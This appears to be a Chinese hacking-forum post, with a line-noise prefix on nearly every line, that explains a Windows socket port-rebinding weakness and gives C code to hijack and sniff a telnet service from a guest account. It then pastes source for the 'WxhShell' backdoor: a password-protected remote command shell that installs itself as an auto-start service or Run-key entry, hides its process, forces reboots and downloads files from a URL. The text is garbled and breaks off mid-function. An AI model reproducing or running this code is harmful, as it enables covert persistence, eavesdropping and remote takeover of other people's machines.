在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
R$fIb}PDr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(bt]GAxb1 ];d:z[\P saddr.sin_family = AF_INET;
W>s'4C` gyQ9Z} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=(X'c.%i 7=.VqC^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Z{
Zox[/ Au._n,< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&8AS=v ^Ai_/! " 这意味着什么?意味着可以进行如下的攻击:
.r| vz6tU? p\_qHq\;j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
GLQvAHC '%!M>rY, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=Xjuz:9D~ (I[h.\% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'(pdk d+2O^of:T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
H8BO*8} 7oe@bS/Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M y"!j,Up .(1j!B4^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0^&R7Rv c ).!14Gjo 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@
KPv&UB pu$XUt
#include
>jz%bY #include
:
|*,Lwvd #include
sHTePEJ_h #include
@*"<U] DWORD WINAPI ClientThread(LPVOID lpParam);
/-YlC(kL int main()
/N]Ow {
fd"~[z [ WORD wVersionRequested;
sR>;h / DWORD ret;
9;Pu9s[q2 WSADATA wsaData;
ls"\YSq$ BOOL val;
C$RAJ SOCKADDR_IN saddr;
#oroY.o SOCKADDR_IN scaddr;
!bV(VRbu int err;
i)= 89?8 SOCKET s;
7x7r!rSe, SOCKET sc;
gqdB!l4 int caddsize;
KaQq[a HANDLE mt;
`{|}LFS> DWORD tid;
&Y>~^$`J wVersionRequested = MAKEWORD( 2, 2 );
\m~\,em err = WSAStartup( wVersionRequested, &wsaData );
v6P~XK}G if ( err != 0 ) {
x\bR j>%( printf("error!WSAStartup failed!\n");
W8yfa[z~J return -1;
_IKP{WNB }
@j\?h$A/ saddr.sin_family = AF_INET;
D@(M+u9/% ul=a\;3x#| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?J@?,rZQ^V d! QD vO saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9 QCpXy saddr.sin_port = htons(23);
zj$_iB`9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=Sb:<q+Q {
gjegzKU printf("error!socket failed!\n");
;p#Z :6 return -1;
-6~dJTm[t }
rI^~9Rz val = TRUE;
aC8,Y$>?E` //SO_REUSEADDR选项就是可以实现端口重绑定的
N]s7/s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
vzyI::f? {
>H1|c%w printf("error!setsockopt failed!\n");
.f !]@"\ return -1;
^Q)gsJY|I }
-90ZI1O` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
/Xu;/MMpd3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Z:o
86~su //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&v
auLp >.O*gv/_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
A D}}>v {
22Y!u00D ret=GetLastError();
lGnql 1( printf("error!bind failed!\n");
,'1Olu{v[s return -1;
ZLN_,/7 }
1^60I#Vr@ listen(s,2);
W]!@Zlal while(1)
l\sS? {
@1/}-.(n caddsize = sizeof(scaddr);
jgo<#AJ/E //接受连接请求
^!o1l-Y^gr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
S QM(8*:X if(sc!=INVALID_SOCKET)
PX69 {
iA%'
;V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@O<@f8- if(mt==NULL)
#lyM+.T {
A"BtVy[[9 printf("Thread Creat Failed!\n");
V6z@"+ break;
wHt#'`5 }
KT
lP:pB; }
*m| t=9E CloseHandle(mt);
ph8Jn+|E }
|>IUtUg\ closesocket(s);
]w_ WSACleanup();
Ukh$`q} return 0;
TJyH/C }
nqurY62Ip DWORD WINAPI ClientThread(LPVOID lpParam)
XAQ\OX# {
%TW%|"v SOCKET ss = (SOCKET)lpParam;
~`~%(DA= SOCKET sc;
'!+P{ unsigned char buf[4096];
gI^L
9jE7 SOCKADDR_IN saddr;
(DG@<K,6 long num;
w;yiX<t< DWORD val;
z@Z_] h
DWORD ret;
xqQ~| //如果是隐藏端口应用的话,可以在此处加一些判断
S6Xb*6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
cXOje"5i saddr.sin_family = AF_INET;
-40'[a9E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}DDVGs[ saddr.sin_port = htons(23);
r sX$fU8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:_o] F {
_uO!N(k. printf("error!socket failed!\n");
B8cBQ v return -1;
-'O Q-5 }
>/!7i3Ow- val = 100;
55>" R{q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+7i7`'9pd {
b"R, p=M ret = GetLastError();
5#TrCPi6A return -1;
KdOh'OrT9. }
RV0>-@/x if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
nJtEUVMt {
7x[LF ^o ret = GetLastError();
( Lok return -1;
\A'|XdQ }
!fQJL
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.6O52E {
[):{5hMA printf("error!socket connect failed!\n");
97qtJ(ESI closesocket(sc);
5"-una>D closesocket(ss);
9*}iBs return -1;
&\J?[>EJ. }
e5qrQwU while(1)
ill-%OPeg {
{h/OnBwG //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
S3ab0JM //如果是嗅探内容的话,可以再此处进行内容分析和记录
0`VD!_` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
H
Z;ZjC* num = recv(ss,buf,4096,0);
w+Z- -@\ if(num>0)
RLYU\@kK? send(sc,buf,num,0);
18DTv6?QG else if(num==0)
a)3O? Y break;
Vl5SL{+D num = recv(sc,buf,4096,0);
_o@(wGeu# if(num>0)
o}9M`[ send(ss,buf,num,0);
2Ueq6IuQ else if(num==0)
&\;<t,3A~ break;
T[5gom }
pY+.SuM closesocket(ss);
7ei>L]gm% closesocket(sc);
L.C
^E7;Z_ return 0 ;
zY7*[!c2 }
(v|r'B9b BA~a?"HS T"L0Iy!k; ==========================================================
CCbkxHMf|! .dD9&n;#^ 下边附上一个代码,,WXhSHELL
$q Zc!Qc ^=eq .(> ==========================================================
LYd}w(} xN#bzma #include "stdafx.h"
vOos*& RL?u n}Qa #include <stdio.h>
G{@C"H[$< #include <string.h>
:7 qqjs
#include <windows.h>
Jt##rVN #include <winsock2.h>
zq,iLoY[R #include <winsvc.h>
iP<k1#k #include <urlmon.h>
BQyvj\uJ H7{Q@D8 #pragma comment (lib, "Ws2_32.lib")
%xf)m[JU= #pragma comment (lib, "urlmon.lib")
IZv~[vi_ 8|1`Tn}o #define MAX_USER 100 // 最大客户端连接数
5;X {.2 #define BUF_SOCK 200 // sock buffer
c u\ls^ #define KEY_BUFF 255 // 输入 buffer
Cw
1 9y 7m@
)Lv #define REBOOT 0 // 重启
Ihdu1]~R{ #define SHUTDOWN 1 // 关机
Gs+\D0o! E|pk. #define DEF_PORT 5000 // 监听端口
VLf
g[*k `@h:_d #define REG_LEN 16 // 注册表键长度
m_c O<LB #define SVC_LEN 80 // NT服务名长度
U{7 3Xax Up<~0 // 从dll定义API
HH"$#T^- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
, p_G/OU
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Wm<z?.lS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;KZrl` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
HbNYP/MN3 Qm
$(
// wxhshell配置信息
-u6}T! struct WSCFG {
o:_^gJ+| int ws_port; // 监听端口
}0$mn)*k char ws_passstr[REG_LEN]; // 口令
vT?Q^PTO int ws_autoins; // 安装标记, 1=yes 0=no
.
3GnZR,L char ws_regname[REG_LEN]; // 注册表键名
Q(lku"U' char ws_svcname[REG_LEN]; // 服务名
BR;QY1 char ws_svcdisp[SVC_LEN]; // 服务显示名
RXBb:f char ws_svcdesc[SVC_LEN]; // 服务描述信息
pJd 0k"{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\;-qdV_JB int ws_downexe; // 下载执行标记, 1=yes 0=no
;SfNKu char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
U);OR char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4py(R-8\ 1 ojhh7< };
9u?(^(. L59bu/LfL // default Wxhshell configuration
HeCcF+ struct WSCFG wscfg={DEF_PORT,
XdcG0D^ "xuhuanlingzhe",
9ftN8Svw 1,
]$3+[9x' "Wxhshell",
mV<i JZh "Wxhshell",
CoJ55TAW "WxhShell Service",
^"1TPd| "Wrsky Windows CmdShell Service",
cFLd)mt/ "Please Input Your Password: ",
4GVNw!V 1,
$'^&\U~? "
http://www.wrsky.com/wxhshell.exe",
YZibi "Wxhshell.exe"
X6xx2v%D };
[Gh"ojt]w opdu=i=E // 消息定义模块
!6Q`>s] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
rnu
e(t char *msg_ws_prompt="\n\r? for help\n\r#>";
k_!+V`Ro# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
~wTX>qV char *msg_ws_ext="\n\rExit.";
X:Q$gO?[4 char *msg_ws_end="\n\rQuit.";
N<(HPE}; char *msg_ws_boot="\n\rReboot...";
7$
d}!S char *msg_ws_poff="\n\rShutdown...";
cS}r9gaQ char *msg_ws_down="\n\rSave to ";
P<u"97@8a 6^sHgYR char *msg_ws_err="\n\rErr!";
e&2wdH& char *msg_ws_ok="\n\rOK!";
J/t!-! }w@gj"\H char ExeFile[MAX_PATH];
MD<-w|#8IV int nUser = 0;
1i
u =Y HANDLE handles[MAX_USER];
+3Y!xD?= int OsIsNt;
h'l^g%; 84'?um SERVICE_STATUS serviceStatus;
O-j$vzHpdY SERVICE_STATUS_HANDLE hServiceStatusHandle;
{7X#4o0 2Pp&d>E4 // 函数声明
=2,0Wo]$ int Install(void);
W<NmsG})_g int Uninstall(void);
,d|vP)SS int DownloadFile(char *sURL, SOCKET wsh);
Tw//!rpG int Boot(int flag);
L~dC(J)@ZI void HideProc(void);
YdI0E int GetOsVer(void);
IZ 8y}2 int Wxhshell(SOCKET wsl);
OC_M4{9/ void TalkWithClient(void *cs);
J3G7zu8 int CmdShell(SOCKET sock);
_UkmYZ/ int StartFromService(void);
)r9b:c\ int StartWxhshell(LPSTR lpCmdLine);
o 7G> y#Y f jI #- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Wr>(#*r7q VOID WINAPI NTServiceHandler( DWORD fdwControl );
pCC 7(Ouo 9=
V>f)R // 数据结构和表定义
dv7<AJ SERVICE_TABLE_ENTRY DispatchTable[] =
bD<qNqX$ {
,- '4L9 {wscfg.ws_svcname, NTServiceMain},
cx^{/U?9} {NULL, NULL}
`U{mbw, };
BDe]18X C c*({ // 自我安装
HR60 int Install(void)
;LRW
8Wd {
M$A#I51 char svExeFile[MAX_PATH];
iCTQ]H3 HKEY key;
7yI`e*EOD strcpy(svExeFile,ExeFile);
Z)&D`RCf =-~;OH/ // 如果是win9x系统,修改注册表设为自启动
EA|k5W*b if(!OsIsNt) {
(R'+jWH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Fk1.iRVzi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ni6r{eSQ RegCloseKey(key);
2yKz-"E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sS!w}o2X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&[@\ f^~ RegCloseKey(key);
:.iyR return 0;
g{>^`JtP }
5+P@sD }
H{V)g }
VXm[- else {
h1+hds+ 7byCc_, // 如果是NT以上系统,安装为系统服务
->E=&X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ue$zH"w if (schSCManager!=0)
9s` /~ a@ {
Bux'hc SC_HANDLE schService = CreateService
? _<[T (
J!h^egP schSCManager,
'<@=vGsye wscfg.ws_svcname,
dTGA5c wscfg.ws_svcdisp,
ip``v0Nf SERVICE_ALL_ACCESS,
Yv)aAWEa SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+a|/l SERVICE_AUTO_START,
}Qrab#v SERVICE_ERROR_NORMAL,
WM,i:P)b svExeFile,
{J]-<:XD NULL,
YQgNv` l} NULL,
],lV}Mlg* NULL,
/smiopFcq NULL,
G>
\Tbx NULL
ksWSMxm );
[vTMS2 if (schService!=0)
Ct]A%=cZW {
?a.+j8pbGg CloseServiceHandle(schService);
ZPO|<uR CloseServiceHandle(schSCManager);
7*s8ttX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R Fko>d strcat(svExeFile,wscfg.ws_svcname);
"Xn%at4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$/_qE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0a2@b"l RegCloseKey(key);
cDV^8 R return 0;
VC-;S7k }
(j&A",^^S }
Veji^-0E CloseServiceHandle(schSCManager);
rt4Z; }
Zb''mf\ }
g4&jo_3:p $-vo}k%M return 1;
. L;@=Yg) }
'C?NJ~MN Qw)9r{f // 自我卸载
}$gmK int Uninstall(void)
M>l^%` {
N.j
"S'(i HKEY key;
|(% u}V? XnUO*v^] if(!OsIsNt) {
`v nJ4* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wW`}VKu RegDeleteValue(key,wscfg.ws_regname);
D>sYPrf RegCloseKey(key);
V"RpH, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oRq!=eUu_ RegDeleteValue(key,wscfg.ws_regname);
|L:Cn J RegCloseKey(key);
zAScRg$:? return 0;
oq;'eM1,. }
YaY8 `M{ }
@Doyt{|T }
.T.5TMiOSq else {
$.K?N@(W IFuZ]CBz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
H:S,\D?%2x if (schSCManager!=0)
x?r1s#88> {
K7`YJp`i SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
TGV if (schService!=0)
S~F` {
7#-y-B]l if(DeleteService(schService)!=0) {
tRfm+hqRZ CloseServiceHandle(schService);
}zMf7<C CloseServiceHandle(schSCManager);
B|o%_:]+E return 0;
'2^
Yw }
3071:W CloseServiceHandle(schService);
;Zut@z4\ }
'Ud|Ex@A9 CloseServiceHandle(schSCManager);
3/goCg }
]tt} # }
?m"|QS!!K LSd*|3E}n return 1;
8cVzFFQP }
\7Cg,Xn `l]j#qshTm // 从指定url下载文件
~&VN_;j_ int DownloadFile(char *sURL, SOCKET wsh)
v}uJtBG( {
F $yO HRESULT hr;
IazkdJX~ char seps[]= "/";
Vk}49O<K/ char *token;
Z(Q2Ue;}& char *file;
\t.}-u<7{ char myURL[MAX_PATH];
TEVI'%F char myFILE[MAX_PATH];
XutF"9u ]~c+'E` strcpy(myURL,sURL);
Ruaur] token=strtok(myURL,seps);
RR|\- 8; while(token!=NULL)
\54}T4R {
Un@\kAY file=token;
"{BqtU*. token=strtok(NULL,seps);
xJ(:m<z }
aXR%;]<Dw S GcBmjP GetCurrentDirectory(MAX_PATH,myFILE);
.;I29yk\XS strcat(myFILE, "\\");
;;&F1@3tBa strcat(myFILE, file);
y?z\L send(wsh,myFILE,strlen(myFILE),0);
\0*l,i1& send(wsh,"...",3,0);
XGs^rIf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&Cro2|KZhG if(hr==S_OK)
zg}YGu|J return 0;
1'KishHK= else
YUkud2,j return 1;
?y7w} W 3<(q } }
>Hwc,j
q LtKB v4 // 系统电源模块
6m`{Z`c$ int Boot(int flag)
zCe/Kukvy
{
OkH\^ HANDLE hToken;
grcbH TOKEN_PRIVILEGES tkp;
>SI<rR[~% e>H:/24 if(OsIsNt) {
QGPw2Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;4~U,+Av LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|:q/Dt@ tkp.PrivilegeCount = 1;
r6.N4eW.L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.YcN S% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
vzR=>0# if(flag==REBOOT) {
PEXq:TA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%5B%KCCN return 0;
j4.&l3 }
wD9a#AgEd else {
KS<Jv; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
xAdq+$>< return 0;
d>i13dAI }
Z`_.x
&Y }
h'5Cp(G else {
Fvl`2W94; if(flag==REBOOT) {
Ill[]O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
yp]@^T N return 0;
z;3NiY }
]|Z b\{
else {
v[ ,Src if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
X[hM8G return 0;
w G!u+ }
b-<HXn_Fd }
\U @3` }DIF%}UK\ return 1;
=_d%=m }
]H[8Z|i"" /9 hR // win9x进程隐藏模块
k
onoI&kV| void HideProc(void)
l(kr'x {
P:!)9/.2 C7qYiSv HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S*t%RZ~a if ( hKernel != NULL )
h=+$>_&: {
0D[@u3W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
By((,QpB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
q-AN[_@ FreeLibrary(hKernel);
$k0H9_ }
2@i;_3sv 3Sh+u>w return;
_<Dt
z }
(JZ".En#X Zhi})d3l // 获取操作系统版本
U}AX0*S int GetOsVer(void)
F[E?A95W {
%$mjJw<|& OSVERSIONINFO winfo;
kBsXfVs9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
nX5C<Ky GetVersionEx(&winfo);
v5$s#f< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
x>3@R0A1: return 1;
")`S0n5e else
q-&P=Yk return 0;
bhg}-dto }
2{o10eL zhsx& // 客户端句柄模块
`deYi 2z int Wxhshell(SOCKET wsl)
R]L2(' B {
sdr.u SOCKET wsh;
X r_pgW| struct sockaddr_in client;
+_m r DWORD myID;
rla:<6tt XAD3Z? while(nUser<MAX_USER)
y-+G
wa3 {
@$U e$ int nSize=sizeof(client);
vDE |sT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Z)9R9s if(wsh==INVALID_SOCKET) return 1;
%e=!nRc T\sNtdF`: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(B#(Z= if(handles[nUser]==0)
C0m\SNR closesocket(wsh);
=ApY9` else
Q7a(P nUser++;
k0ItG?Cv }
*\ECf.7jz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ExrY>*v 6
=>G# return 0;
w|Qd` }
S+T|a:]\7 X"/~4\tJ" // 关闭 socket
dWpk=' void CloseIt(SOCKET wsh)
%z)EO9vtr {
J$[Q?8
ka closesocket(wsh);
nQLs<]h1 nUser--;
HeS'~Z$ ExitThread(0);
f=_g8+}h }
F(4yS2h( rsxRk7s@ // 客户端请求句柄
0m=(W^c void TalkWithClient(void *cs)
uiMIz?+ {
=5s$qb?# e\N0@ SOCKET wsh=(SOCKET)cs;
w}k B6o] char pwd[SVC_LEN];
?r3e*qJGn char cmd[KEY_BUFF];
"c
Pz|~ char chr[1];
QJXdb]Y^; int i,j;
8/q*o>[? Rx S884 while (nUser < MAX_USER) {
hyu}}0: x0G>ktWq< if(wscfg.ws_passstr) {
JlIS0hnv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vttrKVA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>\bPZf)tJ) //ZeroMemory(pwd,KEY_BUFF);
/'&v4C^y> i=0;
4#2 ,Y! while(i<SVC_LEN) {
AbY;H a4by^ // 设置超时
SIv[9G6 fd_set FdRead;
Sx&mv.?X struct timeval TimeOut;
:ICr\FY$ FD_ZERO(&FdRead);
gb-tNhJa@b FD_SET(wsh,&FdRead);
sU%"azc TimeOut.tv_sec=8;
eH[y[~r TimeOut.tv_usec=0;
fsI`DjKi) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.@K#U52 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/(zB0TEd D_ ug-<QT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3"tg+DncC pwd
=chr[0]; 3-
)kwy6L
if(chr[0]==0xd || chr[0]==0xa) { 9::YR;NY
pwd=0; B;c=eMw
break; *vs~SzF$
} #pa\2d|
i++; 8S= c^_PJ
} t>oM%/H
0UjyMEiK
// 如果是非法用户,关闭 socket a71}y;W
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V8v,jS$l4
} mxhW|}_-j
4#@0T"T~M
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h@Dw'w
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C~_q^fXJt
05 g?jV
while(1) { $68 XZCx
vGyppm[0
ZeroMemory(cmd,KEY_BUFF); Tvrc%L(]
P.1Qc)m4
// 自动支持客户端 telnet标准 d!!3"{'
j=0; +1f{_v
while(j<KEY_BUFF) { c8\g"T
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); skSNzF7'
cmd[j]=chr[0]; `#<eA*^g5
if(chr[0]==0xa || chr[0]==0xd) { 0k7"H]J
cmd[j]=0; J\GKqt;5@
break; U%Ol^xl
} c0hdLl;5
j++; JrxP,[qJG
} N$*>suQ,
GiFf0c
9
// 下载文件 J ZNyC!u
if(strstr(cmd,"http://")) { dr>]+H=3E
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cWc$yE'
if(DownloadFile(cmd,wsh)) ]Y$&78u8t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o"f%\N0_8
else C7T;;1P?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $1=v.'Y
} yOM
-;h
else { h!~|6nj
p+5#dbyr
switch(cmd[0]) { +E `063
<WgG=Kf)N
// 帮助 Z%A<#%
case '?': { @Zh8 QI+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y~x`6
break; Wd1 IX^7C%
} tUn&z?7bF
// 安装 N6f%>3%1|.
case 'i': { R+x%r&L5F
if(Install()) '>4+WZ1w5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +-",2d+g
else 8Q)y%7{6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?n73J wH
break; a6OrE*x:D
} 7dsnv)(v
// 卸载 %PSz o8.l
case 'r': { L5TNsLx (
if(Uninstall()) '1qAZkz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &<#/&Pq/i
else $)Jc-V
6E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kKNk2!z`M
break; 7Im}~3NJG
} h^Arb=I
// 显示 wxhshell 所在路径 e(4bx5<*
case 'p': { =/M$
<+
char svExeFile[MAX_PATH]; zww?
strcpy(svExeFile,"\n\r"); R^F7a0"
strcat(svExeFile,ExeFile); !~Ax
send(wsh,svExeFile,strlen(svExeFile),0); |UABar b
break; av7q>NEZ!1
} ~4}*Dhsh
// 重启 5J?bE?X
case 'b': { GR_p1 C\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k-;.0!D^
if(Boot(REBOOT)) gE-lM/w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Nzmb|&
else { DKf}47y
closesocket(wsh); t=A E7
ExitThread(0); |~Htj4K/
} LAOdH/*:
break; LZ3rr-
} #wq;^)>
// 关机 F<H`8*q9
case 'd': { %'$cH$%~J
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *#3voJjV(
if(Boot(SHUTDOWN)) ^Osd/g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =]2
b8
else { l;.[W|
closesocket(wsh); G}Q}H*
ExitThread(0); ~Q3WBOjn
} }6yxt9
break; q{jk.:;'
} 5EVB27k
// 获取shell DtI%-I.
case 's': { }UJdE#4
CmdShell(wsh); rHA/
closesocket(wsh); KE }o
ExitThread(0); ]QjXh>
break; \emT:Frb
} ;D%5 nnr
// 退出 [)T$91
6I
case 'x': { i2`.#YJ&v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )dUd `g
CloseIt(wsh); ;+aDjO2(
break; \xa36~hh40
} ,.1&Ff)S
// 离开 S5YDS|K
case 'q': { A`+(VzZgJ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0KNH=;d}
closesocket(wsh); Sm~? zU[k/
WSACleanup(); u|:UFz^p
exit(1); 64IeCAMVo
break; }V93~>
} XPR:_
} [:/7OM
} /cn/[O9
b[QCM/
// 提示信息 3P=Eb!qtdD
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ba8-XA_~U
} =1uj1.h
} )dzjz%B)
HfZ (U5~
return; *NX*/(Q
} *$*nY [/5
iq[2H$
// shell模块句柄 o} bj!h]N
int CmdShell(SOCKET sock) #I*ht0++
{ 7csl1|U
STARTUPINFO si; SWe!9Y$
ZeroMemory(&si,sizeof(si)); 7,&3=R<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z}Mb4{d1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '/]fZ|
PROCESS_INFORMATION ProcessInfo; 4)c"@Zf
char cmdline[]="cmd"; 0t/z"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e!L sc3@
return 0; )PLc+J.I
} l[x`*+ON:2
1^Y:XJ73
// 自身启动模式 ,vHX>)M|
int StartFromService(void) %\s#e
{ tjc5>T[Es8
typedef struct !W6
{ *N&^bF"SF
DWORD ExitStatus; 5y
'ycTjY
DWORD PebBaseAddress; oM?
C62g\
DWORD AffinityMask; Fg}5V,
DWORD BasePriority; F".IB^}$
ULONG UniqueProcessId; joSr,'x
